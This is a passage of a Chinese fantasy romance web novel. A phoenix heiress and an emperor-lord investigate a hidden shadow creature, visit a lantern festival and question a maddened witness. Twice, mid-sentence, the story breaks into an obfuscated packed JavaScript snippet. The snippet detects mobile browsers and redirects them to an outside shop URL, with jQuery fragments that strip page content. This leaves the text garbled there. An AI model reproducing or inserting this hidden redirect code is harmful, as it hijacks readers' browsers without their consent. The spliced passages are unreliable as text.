萧若海缓缓转身,看到刚从昆仑墟过来,恐怕刚从深渊里出来,还带着一身戾气的帝君。
“……”
帝君来了怎么也没人提醒他!
除了帝君近身的几人,萧若海等也不知道帝君与凤山的关系,只知道帝君似乎与凤山达成了什么交易,时常往来凤山。
但看着帝君的神色,萧若海还是敏锐地察觉到自己说错了话。
萧若海连忙低头行礼:“帝君。”
“前段时间进出过半山园圃的人怎么就这么巧,刚好都死在了妖雾里。”寂渊淡声问,“萧若海,你觉得他们都是本事不精,一起在妖雾里面被啄了眼睛吗?”
萧若海顿时浑身冷汗。
他平日里虽然有些狂放,也不把一起共事的其他人放在眼里,但此时面对着帝君云淡风轻的问话,萧若海只感觉是一座大山压在了头顶,让人喘不过气。
“这……想必是有蹊跷。”
寂渊淡淡看他:“让你灵山殿殿主亲自过来,就是待在这里和人闲话家常?萧若海,你若是不想干了,你那灵山殿多的是等着上位的。”
寂渊说话并不如何疾言厉色,但萧若海面色煞白一片,知道这是因为最近灵山殿办事不利,帝君动怒。
一身冷汗险些浸透衣衫,萧若海不敢多留,连声道:“帝君说的是,某这就去催催进度,这群兔崽子……天天歇着,问两个人就不行了,还是得某亲自出马。”
萧若海一溜烟地跑了个没影。
难得看这往日里谁的面子都不给的浑人吃瘪,谢清晏刚要笑,就见帝君的目光冷冷淡淡地扫过来,谢清晏顿时神情一肃。
“还有几个可疑的人,已经重点关注起来了!”谢清晏忙道,“只是在妖雾里死的那几个人,连尸身都没有找到。”
“最初长老院怀疑是被妖雾里的异植吃干净了,但这次雾核碎得那么快,异植没有妖雾的养育,也没有迫切变大变强的欲望,按道理来说不会如此。”
谢清晏道:“我猜测,凤山恐怕是混进来了不干净的东西。”
凤山的封山大阵,向来是引以为傲的。
这自上古就传下来的大阵,护佑了凤山近万年,经过历代的修补,应当是不会出错的。
但若是,凤山大阵放任邪祟进入凤山,这无疑是一个响亮的耳光甩在了一直企图靠着封山大阵避世而居的凤山羽族脸上。
“再查。”寂渊只道。
谢清晏应下,目光朝着西边飘去,努了努嘴,“要说有脏东西混了进来,我首当其冲怀疑的就是那个。”
“那是被凤山小女君亲自带回来的,或许是小女君的存在影响了大阵的判断,才让他混了进来。”
月殊提着刚熬好的药出来,闻言道:“当日我接触过他,一开始我也觉得奇怪,但是检查过后也没有发现什么问题,他身上的异常气息,或许是因为半妖血脉的缘故。”
谢清晏蹙眉:“这灵山殿也有半妖,怎么没有一个像他……让人第一眼看到就不喜的。”
刚说完,谢清晏突然想起来,要说他们之间,谁最讨厌那只寒鸦……
当仁不让的,肯定是他们家帝君。
他抬眼偷觑帝君的神色,却见他神色平平,好似他们说起的只是一个无关紧要的人。
寂渊一边翻看半山园圃的记录,闻言只是淡淡道:“等刑官审完那几个,再去问问他。”
郁离的决定,他不掺和。
但既然他身份有异,他也只是正常走程序罢了。
寂渊心情愉快,浑然不觉谢清晏看他的目光惊诧得像见鬼了。
……什么情况?
上次帝君不是还差点一剑戳死那寒鸦吗。
现在怎么突然就公事公办起来了?
也是,他们帝君,是那么情绪化的人么?
那寒鸦算什么东西,能让他们帝君放在心上。
***
寂渊这次过来,就一直留在了水榭里。
凤山的确惹上了大麻烦,不论是半山园圃的记录,还是大阵上铭刻的进出记录,都有异常之处。
长老院积极配合,同样也是一脸愁云惨淡。
谢清晏等人在说接下来的安排,寂渊目光一扫,就看见这次来的几名长老,又在走神。
寂渊蹙眉,轻叩桌面,声音不大,却足以让他们陡然清醒过来。
为首一人连声致歉。
“实在是抱歉,”他道,“唉,只是,今日女君第一日上学宫学习族务,也不知道学得如何了……”
“早说了木长老的教学水平不如我,他们非让木长老上第一天,木长老古板又守旧,万一小女君听不进去怎么办?”
“若是我负责今日授课,定然不会让小女君觉得无趣或者枯燥。”他暗戳戳地拉踩了一下木长老的教学水平。
寂渊面上不显,心底莫名想起一群大鸟小鸟,整齐地坐在学宫里。
其中最引人注目的小鸟必定是坐在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627136|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为首的地方,往日火红张扬的尾羽定是黯淡无光,蔫哒哒的垂在身后。
长老还在絮絮叨叨地抱怨,继而意识到自己似乎不应该在帝君面前说这些。
又是连声致歉:“抱歉,实在是太担心了,我们继续吧……”
他本来心内惶恐,知道这位帝君自入世以来就是出了名的不好相与,本来担心惹得对方生气。
一抬眼,却不想看到了那个总是带着一脸不近人情的漠然帝君,眼底竟然带上了一丝笑意。
长老险些以为自己看错了,一晃眼,那点笑影消失不见,长老顿时松了一口气。
果然是看错了。
瞧瞧他,因为女君第一次上新课,焦虑得都出现幻觉了。
“哈哈,没事,咱们继续吧。”谢清晏打了个哈哈,好似什么都没听到似的继续说。
***
霞光悄悄爬满天际,层层渲染出错落的色彩。
给寂渊暂住的山头,是凤山为了表示尊重特意开辟出来的一座浮空山。
积雪已消,唯余浮云三两。
这一处,和白日里的水榭相似,院内也有一棵古老的凤凰花树。
凤山以梧桐、凤凰木为尊,遍地而植,几乎每个院落里都有这样的树。
此时并不是花季,但凤山经年不息的灵流运转,又废了大功夫养着这些凤凰花,这漫山遍野的凤凰花,近乎就没有开败的时候。
寂渊的桌案上堆满了书文,已经处理过的堆在一边,都堆成了小山。
他一抬眼,就能看到窗外火红灿烂的凤凰花,和漫天的霞光,倒是同样的色彩。
在花丛掩映间,多出了一道身影——
少女坐在枝头,一席水色红裙,藏在凤凰花从中竟然毫不起眼。
郁离坐在枝头,垂下的脚丫晃了晃,脚踝上的银铃送来清脆的响声。
她歪着头看着他,似乎已经在这待了有一会了。
玉色的白和古拙的银铃,映着晚间霞光,白得有些晃眼。
寂渊目光偏移一寸:“下来。”
郁离撇了撇嘴,以为他觉得自己有失体统,小声说:“年纪轻轻,跟长老们一样的老古板。”
红裙的少女轻飘飘从枝头坠落,在空中金光一闪,变成了金红的凤凰原型。
小小的金红身影像是枝头的梧桐花一般落在他的肩头。小凤凰神气十足地站在他的肩头,一开口,啾啾啾啾。
“上了一天的课,累都累死了。都到学宫下课的时间了,木长老也揪着人不让走……”
“木长老好脆弱,我稍微走神一会,他就一幅天都要塌了的模样,胆战心惊地问是不是哪里讲得不好。”
啾啾啾啾——
“都是白胡子老爷爷了,还要我一直安慰他才能继续往下讲……心好累。明明他说的每一个字,都能听得懂,但是合成一句话,就变成了鸟语。”
啾啾啾啾啾啾啾——
“……”
好吵的小凤凰。
寂渊怀疑这只小凤凰是故意的。
无他,小凤凰鹅黄的小尖喙都快凑到他耳朵里了,就这么一只鸟,吵出了一群鸟的气势。
寂渊把肩头神气十足的小凤凰端了下来。
啾——
声音戛然而止。
一瞬间矮了一大截,只能被迫仰视的郁离不满地瞪着他,还蹬着腿要往上爬。
——但是没能成功。
命运的后脖颈被人不动声色的控住,寂渊垂眸,一只手硬控小凤凰,另一只手摘去不知何时带到羽毛上的碎叶。
“郁离,你现在说的,也是鸟语。”
“……”
14. 第十四章
郁离被放到堆满凌乱案卷的桌上,寂渊就不再理她,继续面不改色地处理书文。
她站在堆积得摇摇欲坠的书山上,几乎难以维持平衡,站得摇摇晃晃。
那日月下谈心之后,两人之间的氛围,似乎在无形之中亲近了许多。寂渊暂时留在凤山,郁离有时从学宫下课,会直接飞来找他。
寂渊也已经习惯了,就把雄赳赳气昂昂站在上面啾啾啾的小凤凰当成了空气。
竟敢这样无视本君!
小凤凰的气焰刚要升起,就见面前小山似的公文刚减少一截,就有一团流云又卷来一堆新的,整整齐齐码在另一边。
“……”
郁离哑火了。
有时她连先生布置的课业都不想写,帝君却每天要看、要批复这么多东西。
原来做帝君,这么辛苦啊……
寂渊身形颀长,只穿了两件单衣,雪发流云一般顺着极窄的腰腹流下。
繁冗的书文堆成了小山,他的动作却不疾不徐,行云流水般流畅,看久了有一种赏心悦目之美。
原本郁离还在叽叽喳喳地说话,看了一会,也安静下来,望着寂渊的脸发呆,心里想的却是另一件事。
在来的路上,她遇到了刚回来的墨羽。
墨羽说,“烛氏女说这件事关系重大,一定要亲眼见到您,才愿意说。”
“她的精神状态似乎很不对,臣找到她的时候,她……”墨羽顿了一下,“衣不蔽体,疯疯癫癫。”
“我把她带走问话,她一开始好像听不懂似的,但是过了一会又表现得十分恐惧,哭着说有人要杀了她。”
“臣无法把她带进凤山,只能暂时把她安置到了外城的别院。”
墨羽蹙眉,虽然把人带回来了,但是他并不认为女君真的需要亲自去见她。
“有什么事一定要面见您才能说?此事必有古怪。”
“臣以为,烛氏女疯疯癫癫,精神失常,您就是见了她,或许也问不出什么来。”
“女君,您找烛氏女是为了查那只寒鸦?若是那只寒鸦身份有异常,为何您还要……”
墨羽不明白郁离为何大费周折地去调查一只寒鸦。
如今寒鸦就在凤山地界,既然他身份有异常,有一万种方式可以不动声色地处理了他。
墨羽认为郁离不该为了他以身犯险。
“先看好她,其他事,容后再说。”
郁离暂时按下了他,让他先回去看着烛氏女。
她本以为墨羽会直接带着消息回来,却不想他直接把人带了回来。
郁离感到头疼,又感到一种莫名其妙的焦虑。
明明人就在眼前,不论是什么结果,是烛氏女在装神弄鬼还是别的什么,她都该亲眼去见见她。
她一定要知道,烛夜究竟是个什么东西。
但因为之前妖雾的事,如今凤山戒严,别说把烛氏女带回来了,恐怕她一踏入凤山结界,就会被所有人发现。
倒是外城……
她没记错的话,往年这个时候,外城都会举办一场盛大的灯会,持续足足半个月。
灯会上,热闹,喧杂,往来众多,什么样的人都有……
……
寂渊也注意到郁离安静过了头,一双澄明的眼珠子半敛着,不知在想什么。
他刚要说话,眼前安静了许久的小凤凰突然“腾”地在他眼前变成了人形。
水红色的长裙在桌面上铺开,郁离翘着玉色的腿坐在了书桌上,小山似的书文随着郁离的动作落了一地。
“寂渊,你要不要出去玩!”
郁离跃跃欲试地开口道,只是在凤凰原形时还显得有些宽大的书桌,她一变回人形顿时变得十分逼仄。
郁离一抬头,险些撞到寂渊的下巴。
抬眼撞进他的眼底,郁离这才发现——
原来寂渊的眼底不是纯然的墨色,而是带着一圈冰蓝的晕影,像是无风夜晚的月晕。
竟很柔和。
“……”
郁离话音一顿,下意识想要把人推开,伸手抵在他的胸膛。
但寂渊只穿了两件薄薄的单衣,手放在上面,几乎能感受到他的体温。郁离手一僵,手指顿时僵硬得不知该如何摆放。
紧张之下,手指蜷缩,好像是……
好像是抓了一下。
小凤凰目光呆滞。
下一秒,寂渊深吸一口气,一把抓住小凤凰的手,目光带着警告。
“郁、离。”寂渊语气微重。
郁离无辜的抬起头,因她的动作,寂渊衣襟微散,露出里面冷白有力的锁骨。
“是你靠得太近了,”郁离嘟囔着反驳,“我只是想推开你,谁让你穿得这么少,我本来又没想要摸你。”
虽然,这是十分陌生的手感,但是好像还不赖。
“……”寂渊险些被小凤凰理直气壮并且熟练倒打一耙的态度噎住。
寂渊把她的手拿开,呼出一口气,退开两步走到窗边,迎着院外微凉的风,吹散了屋内有些古怪的气氛。
郁离打蛇随棍上,自觉往前走,又笑眯眯凑近,从寂渊的身侧探出头来。
“今日外城应该有灯会,寂渊,我带你去看灯会吧!”
寂渊沉默一瞬,重复道:“带我?”
“对呀!你们昆仑墟冷冰冰的,辖下也没有大型城池……”郁离目光发亮,“灯会可热闹了,你肯定没见过,有、有……”
郁离卡壳了。
不得不说,外城已经属于凤山结界外,她也没出去看过。
只在梧桐神木上看到,那一座城池都仿佛被灯火点亮,星火如昼,天空升起数不清的明灯,一路飞到再也看不见的云外之地。
以己度人,小凤凰曾经对灯会很是向往,但却一直没有出去过。
下意识也觉得别人会像她一样感兴趣。
“这话,你去哄你们羽族三岁的小孩或许还管用。”
寂渊的目光扫过郁离打转的眼珠子,多年相识,怎么看不出来郁离这是醉翁之意不在酒。
“凤山近日戒严,许进不许出,以长老们谨慎的性格,这个时候恨不得把你锁在梧桐宫让你不能离开半步。”
“怎么,还能让你下山看灯会?”
郁离的目光心虚地往外飘。
要不是因为出不去,她也不会找他了。
外城受凤山护佑,却在结界外。那一处,地处各方交界,有聚居的人类、修士和一些修为低微的小妖。
长老们认为外城鱼龙混杂,从不让郁离出去。
“寂渊……”
郁离耷拉着眼尾,整张脸上透露出一种忧郁的哀伤,好像不能去看这场灯会就会死掉。
“我有要紧事,我一定要去一趟外城的。”
“长老们跟我说,帝君是整个四海八荒最厉害的人,你这么厉害,这么有本事,”郁离眼巴巴地看着他,“一定有办法在不惊动任何人的情况下带我出去吧。”
“……”
“不带你出去,就是不厉害、没本事了?”寂渊淡淡挑眉。
郁离果断摇头。
“你最厉害。”
“你最有本事。”
“而且一定不会拒绝我的。”
“对不对?”
一连串的短句砸下来。
寂渊深吸一口气,看着不知不觉又快凑到身边的小凤凰,揉了揉眉心。
小凤凰一通乱拳打得他心底微躁,他也明了,此时他若是不应,小凤凰也会一直磨到他答应。
缠人精。
寂渊无声微叹,抬眼看向眼也不眨盯着他的小凤凰:“……走吧。”
“我就知道!”郁离欢呼一声变作了原形,“寂渊你就是全天下最好,最厉害的!”
开心时,郁离向来不吝惜夸赞的词句,甜得像裹了蜜。
小凤凰特意缩小了一圈,跳到寂渊的手上,又顺着他的手腕钻进了袖子里,只从袖口探出头,意气风发地一抬翅膀:“出发!”
“倒也不必……”
只是他话音未落,郁离已经噌噌噌地往更里面钻了,几乎要顺着宽大的袖口钻到袖口去。
“……”
寂渊叹息一声,伸手把鸟捉了出来,放在手腕上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627137|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……
出了凤山结界,郁离变回了人形,还特地换了一身不太显眼的衣裙。
又不知从何处摸出来两个面具,一个是大红的妖狐,一个是墨青色的鬼面。
郁离自己带上鬼面,把另一个妖狐面具递给寂渊。
“我要低调,你带这个吧,这个好看。”面具下的眼睛笑眯眯的。
寂渊带上面具,那一张脸被面具遮挡,整个人的气息倏然一转,少了几分冷厉,倒像是个人间鲜衣怒马的贵公子。
郁离笑弯了眼。
她就说嘛。
其实在让人准备这个面具的时候,郁离就想到了。
寂渊往日冷冰冰的,从来都是冷冷清清的颜色,但她就是觉得,他用鲜亮一些的颜色,会好看。
就像她喜欢的红色。
“好看。”
郁离称赞道。
只是一个面具,有什么好看的。
寂渊不懂,但他没有打击郁离的积极性,应了一声:“嗯。”
只是不经意再次调整了一下面具的位置,让其更加贴合面部。
天光已经彻底暗下,但外城灯火如昼,远远的,郁离看到城外飞着许多大风筝。
走近了才看清,那些大风筝,都绘成了凤凰的图案,身后还带着长长的七彩拖尾——是在模仿凤凰的尾羽。
彼时城镇里扎风筝的都是各个家族,扎凤凰风筝既是为了祈福,也是为了彰显自家的实力。
这些风筝一个赛一个的大,一个比一个用料华丽。
庞大的凤凰风筝飞在半空,看起来威风凛凛。
郁离看得尾羽止不住地上翘。
她指着半空中最大的一个风筝,得意道:“看到了吗,在他们心中,凤凰就是这么大的。”
寂渊:“……”
看了一眼飞在空中,虽然极近奢华,但想必是完全没见过凤凰的人绘制,模样也是千奇百怪。
只能看出,它的象征意义,的确是凤凰。
“完全不像。”寂渊如实作出评价。
郁离倒不在意:“哎呀,图个意思,他们哪见过真正的凤凰。”
“这也只是一种美好的祝愿啦,毕竟若本君真的出现,嗖嗖嗖在城池上吐几个火球,他们都得被吓死。”
寂渊讶异抬眸:“你会吐火?”
“……”
暂时还不会的郁离被戳了心窝子,决定暂时不说话了,冷暴力他半个时辰。
不过郁离的冷暴力只持续了一小会。
从凤山入城,看见街道两边各色的商铺,和街上摩肩擦踵的人,郁离顿时把自己刚做的决定忘了个干净。
“好热闹啊……”
“还是第一次见到这么多人。”
“人!到处都是人!”
“……”
旁边的人莫名其妙地看她:人有什么好稀奇的,你不是人啊?
但郁离一脸的新奇,四处流窜,拉着寂渊这里看看,那里摸摸。
虽然此行另有目的,但是……
郁离快活地想,毕竟外城她真的没来过嘛!
看见郁离满脸的兴奋,寂渊心底微讶:“凤山外城,你是第一次来?”
他知道郁离之前说的话是在诓他。
但毕竟凤山外城,就在凤山脚下,郁离居然没来过吗。
“长老不让,”郁离已经像是飞鸟一样在街道中穿行,她回头笑,“长老们说,人多的地方,就会有危险。”
郁离模仿着长老们沉重的语气,但她的神情却一点也不沉重。
她快乐地穿行在街巷,因为身后始终不远不近跟着的危险人物,在她走过的地方,没有人会不识相的靠近。
不时有人侧目。
这小姑娘……
是从哪个山旮旯里出来的,怎么看见什么都一脸兴奋样。
但看见小姑娘身边的煞神投来冷冷一瞥,又连忙收回视线,不敢多看。
寂渊的目光一直追随着裙角翩飞的小凤凰,看她此时的快乐,心底却微沉。
凤山……
究竟是怎么养孩子的?
15. 第十五章
不知不觉,已经离开了最繁华的街道。
他们从凤山入城,一路沿着街道把沿途小摊都逛了一遍。
一路走来,郁离已经买了许多东西,大包小包地提在手上,寂渊也不能免俗,手上多了好几个形态各异的花灯。
远离了人群,郁离把手上的东西收进了芥子,快活地在原地转了个圈,眼底倒映着星火。
“从前远远的,只能看见整个城市仿佛都被灯火点亮,走进来之后才发现,原来不只是灯火。”
“还有这么……这么多好玩的东西!”
还没站稳时,寂渊扶了她一把。
郁离就着他的手,踮起脚凑到他耳边说:“谢谢你。”
些微的气流,混杂着熹微的凤凰花香和糕饼的甜香袭来,寂渊眼底微暗。
“好开心——”
那一股甜香倏然靠近,又远离,小凤凰蹦跶着跑远,又伸着手臂在原地转了好几个圈。
郁离眼底亮晶晶地看着他,“这次的灯会还不是最大,下次,下一次,再带你来看。”
这次不算!
她一开始出来的目的,是为了来外城见一个人。
虽然玩得也很开心,但是一开始的目的不纯粹,就不算!
郁离觉得有些愧疚,望着寂渊认真地说:“下次再补给你一次。”
寂渊眼底眸光微动,喉头滚动。
显然他和从未离开过凤山的小凤凰不一样,也并不觉得人又多又嘈杂的地方有什么趣味。
但此时的小凤凰定然是觉得,这是全天下最好玩的事。
寂渊到底什么都没说,只是淡淡应了一声。
“还有下次,下下次,以后的每一次——”郁离补充道,“我都带你来看。”
显然,对于谁带谁这件事,他们也还没有达成一个明确的共识。
但今晚的郁离,快活得像是一只出笼的幼鸟,寂渊的眼底似乎也因为倒映着星火而变得柔和了许多。
他道:“……好。”
此时此刻,她不是凤山神台上的小凤凰,她穿着普通的裙子,带着普通的面具,手上提着买来的花灯,发间簪着在路边买的精致小钗。
她好似只是这座城里,和其他人一般不二,出来游玩的少女。
……
那一条热闹繁华的街道已经被甩在身后,渐渐走近的,是一座不起眼的小院。
郁离脚步一顿,认出眼前凤山羽族的私产,上面打着羽族的印记。
门口肃立着的黑衣羽卫,在见到郁离时齐齐俯身行礼。
郁离知道里面有什么,眼底笑意微敛。
她转过脸,一只手还揪着寂渊腕上的衣袖,她抿唇道:“寂渊,我要去见一个人,你……”
郁离想问,你是不是要回去了。
毕竟出来之前,寂渊桌上还堆着一堆没有处理完的书文。
既然已经到这里,回去的话,让墨羽送她就可以了。
郁离眨眼看着他,想说让他走的话,可是手还攥着他的袖口。
看着门口的羽卫好像看守着什么似的,寂渊心中已经有了猜测。
这就是郁离不得不做的事情。
他没有问里面的人是谁,只是抬手帮把郁离歪了的面具扶正,一道温和的护体灵力注入体内。
寂渊看着她,那一双往常如同神明般淡漠的眼底,或许因为此时带着的玉狐面具,和手中提着的兔子花灯,无论如何也和淡漠二字联系不到一起。
“不是说子时还会放烟花吗,”他道,“我在外面等你,看完再回去。”
郁离眼前一亮,“好!”
少女眼底的踟蹰一扫而空,原本有些忐忑的内心,好像因这一句话,有了一些底气。
不过是进去说几句话,出来之后,就能看到子时的烟花。
她知道里面关着一个从从爻山带回来的女人,她或许会给郁离一些想要的答案,也或许不会。
但是没关系
……只是见一个人而已。
只是,这还是顺风顺水在凤山上长了五百年的小凤凰,头一次独自背负这么沉重的秘密。
她独自背负着这个秘密,有时也会站在人生的岔路口,看着未知的前路心生迷茫。
但是没关系,这只是等待晚夜烟花的前奏罢了。
见一个人,谈一场话,问几个自己想知道的问题,然后就可以看到一场烟花。
郁离眼睛弯了弯,笑吟吟道:
“你等我一下,等我出来的时候,我有话和你说!”
如果烛氏女,真的能给她什么有用的信息,她就把这个消息告诉寂渊。
正好这次四方殿、灵山殿的人都在,不管烛夜究竟是什么东西,他们总会有办法吧?
郁离深呼一口气,感到内心安定许多。
……
郁离让羽卫都守在门外,独自推开了门。
屋内没有开灯,有人影藏在黑暗处,只露出一双眼睛,紧紧盯着进来的人。
郁离一挥手,屋内的蜡烛渐次亮起,灯光照亮藏在黑暗里的人影,她好像被光芒灼伤,抬手挡了一下。
灯光下的女人穿着一身鲛纱制成的衣裙,可是衣衫破烂,早已看不出原来的华美,只能破破烂烂地挂在人身上。
旁边还摆放着墨羽送来的成衣,托盘散乱,衣服上也布满了类似动物利爪的抓痕。
她的目光充满了动物原始的本能,眼珠子转来转去,警惕地盯着突然进入的郁离。
在烛氏女警惕注视着郁离的时候,郁离扫视全屋,微微蹙眉,她的状态看起来很不好,还有没有保有理智都难说,
郁离心底微沉,已经有些失望。
“是你……”
烛氏女眼珠子转动,混沌的眼珠聚焦到郁离的脸上,突然发出一声尖叫然后兴奋地爬行着靠近。
“是你!真的是你!”
“是你……凤山、凤山郁离,只有你能救我了,求你了,求求你救救我吧,我还不想死,我……”
烛氏女趴到郁离的脚边,脸上盖着一层厚厚的脂粉,只是再厚的脂粉,也遮掩不住她眼下浓重的青黑,她的眼角滑下两行黑泪。
郁离没有动,好看的眉头拧起,她此时还没摘下面具,但是一见面烛氏女就认出了她。
“你是谁?”郁离怀疑地问。
“我……”烛氏女一呆,眼珠子转了转,“我是烛殷,我是……爻山烛氏的旁支之女。”
她的行为看起来有些癫狂,甚至已经有些失去理智,但是说话却还算口齿清晰。
“你知道我?”
“我、我当然知道。”烛殷裂开嘴笑,只是她裂开的角度过大,露出一口森森的白牙,看起来十分诡异。
“你是凤山郁离,天上有地上无的天生神脉。”
“你是天生凤凰血……”
好似突然想起了什么,烛殷的眼珠子在陡然间变得猩红,她突然要抓着郁离的衣裙往上爬。
似乎感受到她身上陡然爆发出来的攻击性,她还未触及到郁离的裙角,就被上面的护体灵光弹开。
在一声凄厉的尖叫声中,烛殷被弹开,但她的嘴里仍在喃喃自语:“血……给我血!凤凰灵血……只有凤凰灵血才能救我了。”
“求你了,给我血……”
郁离退后一步,烛殷周身有不稳定的黑气在逸散。她看起来已经不能称之为人,更像是她在妖雾里看见的那些异变物种。
郁离掐了掐手指,用微微的痛觉来让自己保持理智。
她还从未见过这样古怪的情况,烛殷似乎变成了一只渴求鲜血的怪物。
她分明被郁离身上的护体灵光灼伤,却一边痛苦哀嚎,一边扭曲着想要靠近郁离。
“该死的小贱种……他根本就不是、不是……血!我要血……求你了救救我……放过我吧烛夜,放过我吧,我再也不敢了,我再也不会……”
烛殷说的话颠三倒四,说不了两句话又开始哭天抢地的大哭。
“烛夜?”郁离捕捉到她话中的关键词,“你还见过他?”
“不不、不,我没见过,”烛殷好似听到了什么恐怖的词语,面色恐惧地缩到了墙角,“不要过来!我没见过他,我没见过他……”
她一直喃喃自语,不断地重复着:
“我没有害你,我没见过他,他不是……”
“他不是什么?”郁离蹙眉问。
看着烛殷因为恐惧已经紧紧地缩到了墙角,郁离蹲下身靠近,与她平视。
直到此时,郁离才看清,烛殷的眼底像是晕开的墨点,近乎被黑色占据了。
烛殷望着突然凑近的脸,哭喊着的声音忽然一顿。
她看到一双澄明浅金的眼瞳,那一双眼底清澈干净,又像是初生的朝阳一般让人感受到温暖。
在她眼前的,是凤凰啊,是所有羽族敬若神明的凤凰啊……
烛殷目光一顿,她眨了眨眼,喃喃道:“他不是我的孩子,我没有生孩子。”
两行黑泪顺着烛殷的面颊流下,她又想伸出手去抓郁离的衣袖:“他不是、他是个怪物……他是……从深渊里爬出来的怪物。”
“从哪里?”郁离耐心地反问。
“他是怪物,他是从赤水禁地里爬出来的怪物!”
烛殷道,“根本,没有什么父亲,没有孩子,他吃了……他吃掉了我们的影子,所以,他变成了我的孩子,所以……”
“你快逃!”
“他是为你而来的,他会吃了你的。”
说不了两句话,烛殷又嘤嘤哭起来:“救救我,我还不想死……求您、您……给我一滴血吧,就一滴!”
……
烛殷的状态很不稳定,时而清醒时而混乱,但是她大部分都处于混乱的状态中。
有时,在精神最不稳定的状态之中,她的眼底都变成了纯然的血色,望着郁离的目光带着赤裸而不加掩饰的食欲。
郁离并不担心烛殷能伤到她。
和之前烛夜那种暂时分不清状况的东西不同,烛殷此时再混乱,她仍旧是一直纯血的寒鸦。
只要是羽族,在郁离面前,就没有暴起伤人的能力。
……哪怕没有护体灵气,仅仅只靠着血脉之中的威压,郁离也能让她动弹不得。
郁离一开始,还不时开口问话,引导烛殷说出一些有用的东西。
但后来,郁离不再说话,只是看着她的脚下,沉默地听着烛殷发疯。
她有时发疯,有时大叫,有时想扑过来啃郁离一口,有时又殷殷切切地跪在地上哀哭,想要郁离施舍一滴凤凰灵血给她。
郁离沉默地看了许久,直到脸上血色尽失。
烛殷说,她的影子被烛夜吃掉了。
屋内灯火憧憧,而她的脚下……也果真没有影子。
结合烛殷提到的赤水和影子,郁离联想到了一种很不妙的东西。
影族,上古大荒时触摸的一种极恶之鬼,不死不灭,难以被杀死。
他们有一种天赋能力,名唤吞影,能够窃取、蚕食其他生灵的影,然后变成影子主人的模样,并获得他们的记忆。
失去影子的生灵,会逐渐失去自己的记忆,并且变得浑浑噩噩、精神失常,最后沦为影族的一员。
这一种能力,名为同化。
这一切,和烛殷说的、和她现在的状态都能对上对上。
但在记载中,影族也是极为孱弱的一种种族。
他们难以被杀死,但除了足够阴暗、恶心,总在暗中窥伺着等着上来咬一口旁人的影子之外,他们并没有什么其他能力。
甚至因为他们的孱弱,让他们只能模仿、学习其他生灵的生活习性,努力伪装自己,潜藏在人群中生活。
影族没有自己的身体,不人、不鬼、不妖,是最为低贱的种族。
因为影族的习性,他们总在地上爬行、游走,没有自己的样子,影族不被四海八荒各种族接受,哪怕是妖鬼,也鄙夷影族的低贱。
影族……
早在上古大荒时,就已经灭绝了呀。
郁离的心越来越凉,此时知道了烛夜是什么东西,却没有半点轻松。
只因……根本没有影族,能像烛夜一样,像一个真正的半妖一样,站着,走进了凤山。
在所有人的眼皮子底下,顶着所有人的目光,像一个真正、没有一丝瑕疵的活物一样行走。
他像是,真的活了。
像是真正脱离了影族的身份。
传言中,如果被他们蚕食的影子数量足够多,力量足够强,他们甚至能真的变成人。
这样的事,只有一只影族做到了。
那一只影族名唤不夜,他成了万妖之主,吞噬了四海八荒赶到深渊下的十万妖鬼,造出一支属于他的不死军团。
原本,被授封帝君之人都拥有涤荡妖气,镇压邪祟的能力。
那一场不死军团带来的妖鬼之乱,远不至于逼得四方神明皆陨落,是因为这一只真正成了妖王的影族,才把整个八荒逼到了死路上。
影族的天性,是蚕食。
他甚至,能如同跗骨之蛆一样爬上来,将帝君的清正荡魔之气,也吞吃干净。
失去了镇压妖鬼的绝对优势,八荒败得惨烈。
彼时的帝君,就是因为这一只妖鬼,才以身祭了山河,填了深渊,成了一道封印。
烛夜、不夜。
郁离心乱如麻。
至此,她拼凑出了一些真相,有很多疑惑,也得以解答。
她似乎也明白了,在梦中,烛夜为什么会以那一种奄奄一息的姿态出现。
只因为——
对于影族而言,凤凰灵血是疗伤圣品,也是无上珍馐。
郁离还是不解,问扭曲尖叫着的烛殷:“你知道为什么,我一靠近他就会心跳加速吗?”
“那种感觉,就像是对他心动,想要为他……奉献点什么似的。”
烛殷扭曲爬行的动作顿住,不解且疑惑地看着郁离。
她眼底的震惊很明显——
那一种情绪不亚于,白羽第一次听到她说这样的话时,看向她的神情。
“你……疯了吧?”疯疯癫癫的烛殷说。
“好的。”郁离点头。
那这一点,和影族的种族特性,没有任何的关系。
此时的烛殷,已经不能算是一个人了,她已经没有了影子,身上的人性也越来越淡。
换句话说,她已经很快就要变成影族了。
只是奇怪的是,按道理说,她早就应该变成影族了才对,居然坚持了这么久。
郁离问:“你痛苦吗?”
“痛、每时每刻……”烛殷抬眼,喃喃道,“明明都快感觉不到自己的身体了,但是身体,却每时每刻都在痛。”
“还有脑海里,无时无刻的神经痛,和响起的尖锐鬼哭……”
“女君,”烛殷抬眼,渴求地看着她,“我知道的,都告诉你了。”
“你会帮我的,对吗?”
“只需要一滴凤凰灵血,一滴血……”烛殷爬行着靠近,这一次学乖了,没有直接蹭到郁离的身上,“就不会再痛了。”
郁离垂眼看着自己的指尖,眼底的情绪却很淡。
“如你所愿。”她道。
烛殷的狂喜定格在脸上,灵血落下,她像渴求甘霖一样爬行过去,贪婪地卷入,身体却没有得到臆想之中的满足。
反而是……
她瞪大了眼,刚想张嘴呼救,可却什么声音都没能发出。
灵血中散出无形无色的火焰,在顷刻之间将她烧成了灰烬。
——她的痛苦,果真于此刻终结。
